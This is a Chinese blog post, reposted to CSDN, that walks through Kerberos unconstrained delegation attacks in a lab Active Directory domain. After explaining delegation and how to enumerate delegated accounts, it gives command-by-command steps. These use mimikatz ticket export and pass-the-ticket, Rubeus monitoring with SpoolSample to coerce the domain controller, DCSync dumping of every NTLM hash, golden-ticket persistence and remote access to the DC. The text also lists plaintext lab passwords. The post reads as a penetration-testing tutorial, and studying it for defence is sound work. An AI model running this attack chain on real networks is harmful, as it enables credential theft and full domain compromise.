CSDN文章自动迁移自博客
在Windows 2000 Server 首次发布 Active Directory 时,Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 Web Server 进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“Kerberos 双跳问题”,并且要求进行委派,以便 Web Server 在修改数据库记录时模拟用户。Windows 2000 Server 发布的也是最初的非约束性委派。需要注意的一点是接受委派的用户只能是 服务账户 或者 计算机用户 。委派是域中的一种属性设置,是一个安全敏感的操作。是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限访问域内的其他服务。
如图,域用户 attack/Administrator 通过访问 Web 服务请求下载后台文件服务器中的文件,于是 Web 服务的服务账号 webservice 以域用户 attack/Administrator 的身份通过 Kerberos 认证协议或者其他身份认证协议的方式(其他身份认证协议可能存在于约束性委派或基于资源的约束性委派中,但域内基本上都是设置的仅使用 Kerberos 认证协议)请求后台文件服务器。这就是一个委派的流程。委派主要分为以下三种:
非约束性委派 UD: Unconstrained Delegation
约束性委派 CD: Constrained Delegation
基于资源的约束性委派 RBCD: Resource Based Constrained Delegation
以下是本地操作环境:
域:attack.cn
域控:
主域控:dc 系统:Windows Server 2012 R2 IP:192.168.11.11
辅域控:dc02系统 :Windows Server 2012 R2 IP:192.168.11.13
域内主机:
pc01 IP:192.168.11.15 系统:Windows7
本地管理员:Administrator域账号:attckadmin 密码:123.com
pc02 IP:192.168.11.16 系统:Windows10
本地管理员:Administrator 域账号:zhang 密码:321.com
域用户:
域管:attack\administrator
普通域用户:attack\attackadmin
普通域用户:attack\zhang
配置委派的域用户和服务账号:attack\test
服务账号可以获取被委派用户的 TGT,并将 TGT 缓存到 lsass 进程中,从而服务账号可使用该 TGT,模拟该用户访问域内其他服务。非约束委派的设置需要 SeEnableDelegationPrivilege 权限,该特权通常只有域管理员才有。
在域控上配置非约束性委派
计算机用户的非约束性委派配置:控制面板\系统和安全\管理工具\Active Directory 用户和计算机(%SystemRoot%\system32\dsa.msc)—> 域名/Computers/名称/属性 —> 委派 —> 信任此计算机来委派任何服务 (仅 Kerberos)(T)
配置了非约束性委派属性的计算机用户的userAccountControl属性有个 Flag 位WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384。可在 Active Directory 用户和计算机窗口中开启查看的高级功能后选择对应机器名称属性中的属性编辑器中看到,如下图。
服务账号的非约束性委派配置,可以先创建一个普通用户 test
net user test P@ssw0rd /add /domain
普通用户默认没有委派的选项设置,需要给他注册一个服务主体名称(SPN)使其成为一个服务账号
setspn -U -A priv/test test
也可以查找指定 test 用户注册的 SPN
setspn -L test
这时候 test 用户就拥有委派的属性,可以将其设置为非约束性委派
配置了非约束性委派属性的服务账号的userAccountControl属性有个 Flag 位NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其对应的数是0x80200=528384。可在 Active Directory 用户和计算机窗口中开启查看的高级功能后选择对应服务账户名称属性中的属性编辑器中看到,如下图
查询非约束性委派的计算机或服务账号
默认域控是配置了非约束性委派的
PowerView
PowerView 有几个不同的版本,这里用的是 PowerShellEmpire 下的,脚本地址:https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1
# 导入 PowerView 脚本
import-module .\powerview.ps1
# 查询域内非约束性委派的计算机
Get-NetComputer -Unconstrained -Domain attack.cn | select name
# 查询域内非约束性委派的服务账号
Get-NetAdministrator -Unconstrained -Domain attack.cn | select name
Adfind
下载地址:
该工具不需要账号密码即可查询,其他支持 ldap 协议的工具也可以实现查询
# 查询域内非约束性委派的计算机
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
# 查询非约束性委派的服务账号
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
ldapsearch
kali 内置,其他系统安装
# Ubuntu 用户安装
sudo apt install ldap-utils
# mac 用户安装
brew install ldapvi
该工具需要域内任意用户的账号密码,可在域外查询。其他支持 ldap 协议的工具也可以实现查询。
查询域内非约束委派的计算机
# 实测不好用
ldapsearch -LLL -x -H ldap://192.168.11.11:389 -D "zhang@attack.cn" -w "321.com" -b dc=attack,dc=cn "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
查询非约束性委派的服务账号
ldapsearch -LLL -x -H ldap://192.168.11.11:389 -D "test@attack.cn" -w "P@ssw0rd" -b dc=attack,DC=cn "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束性委派攻击
用户 Administrator 去访问服务 service,如果服务 service 的服务账户开启了非约束性委派,那么当用户 Administrator 访问服务 service 的时候会将用户 Administrator 的 TGT 发送给服务 service 并保存在内存中以备下次重用,所以服务 service 能够利用用户 Administrator 的身份去访问用户 Administrator 能够访问的任意服务。
两种攻击方式,一种是诱使域管用户(相当于是域内钓鱼)来访问配置了非约束性委派的主机或服务,二是结合打印机漏洞让域管用户强制回连以缓存 TGT。
模拟域管访问非约束性委派主机
模拟域管用户 attack/Administrator(只要是域管用户,不一定在域控)远程访问非约束性委派主机机 pc02 , pc01 已获得本地管理员权限。常见可利用钓鱼的连接方式可以是 MSSQL 或 IIS,这里演示域管用户 attack/Administrator 直接 IPC 连接 pc01 。
注意:
1、高版本的系统,实测win10启动管理员命令失败,即使启动成功也无法获取,win7域用户状态下,启动管理员权限,需要调用域管登录,然后管理员身份启动cmd,所以这个洞,在某些版本下真的很鸡肋!
2、另外需要注意的一个问题就是,检查域主机的防火墙!
pc02无法访问域控dc.attack.cn
dir \\dc.attack.cn\c$
域管用户 attack/Administrator IPC 连接 pc01
dir \\dc.attack.cn\c$
域管用户 attack/Administrator IPC 连接 pc01
net use \\pc01.attack.cn /Administrator:attack\administrator 1qaz@WSX
这适合 pc02 机器就已经有了域管 attack/Administrator 的 TGT 票据,可以用 mimikatz 导出
# mimikatz
privilege::debug
sekurlsa::tickets /export
mimikatz "privilege::debug" "sekurlsa::tickets /export" exit
然后通过 Pass The Ticket(PTT)将 TGT 注入到当前会话中
# mimikatz
kerberos::ptt [0;157a7b]-0-0-40a50000-Administrator@cifs-dc.attack.cn.kirbi
mimikatz "kerberos::ptt [0;157a7b]-0-0-40a50000-Administrator@cifs-dc.attack.cn.kirbi" exit
# DOS
dir \\dc.attack.cn\c$
非约束性委派 +Spooler 打印机服务漏洞
利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。
非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 dc 强制访问已控的具有本地管理员权限的非约束性委派机器 pc02 ,从而拿到域管理员的 TGT,进而接管域控。
首先利用Rubeus在 pc02 上以 本地 管理员权限执行以下命令,每隔一秒监听来自域控机器 dc 的登录信息
已编译的 Rubeus 下载:
版本:https://github.com/GhostPack/Rubeus/releases/tag/1.6.4
注意:实测win10下,域网络防火墙会自动开启,域用户无法关闭,需本地管理员
# 需要注意:Rubeus的监听,需要在主机管理员用户下监听
Rubeus.exe monitor /interval:1 /filterAdministrator:dc$
再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行
已编译的 SpoolSample 下载:
# 需要注意:打印机服务漏洞,需要在域用户下进行触发,Rubeus的监听,需要在主机管理员用户下监听,所以可以用一台域用户下触发,另一台机器管理员用户去监听,或者切换账户进行监听和触发!
SpoolSample.exe dc pc02
同时 Rubeus 也获取到了来自域控 dc 的 TGT 票据
Rubeus 导入获取到的 TGT 票据
# 最方便的方法我测试到的是使用notepad++
Rubeus.exe ptt /ticket:Base64EncodedTicket
或者:
[IO.File]::WriteAllBytes("ptt.kirbi",[Convert]::FromBase64String(""))
这时候管理员权限运行 mimikatz 就可以获取域内所有用户的 NTLM hash,内存中也有了域管的 TGT 也可以直接 PTT。
mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit"
接下来解密 NTLM hash 后可以直接登录域控,解不开也可以利用 krbtgt 的 NTLM hash 用于做黄金票据权限维持
有了黄金票据也同样可以访问域控了,使用 WinRM 服务来远程连接域控命令执行。
Enter-PSSession -ComputerName dc
转载请注明:Adminxe's Blog » Kerberos 域委派攻击之非约束性委派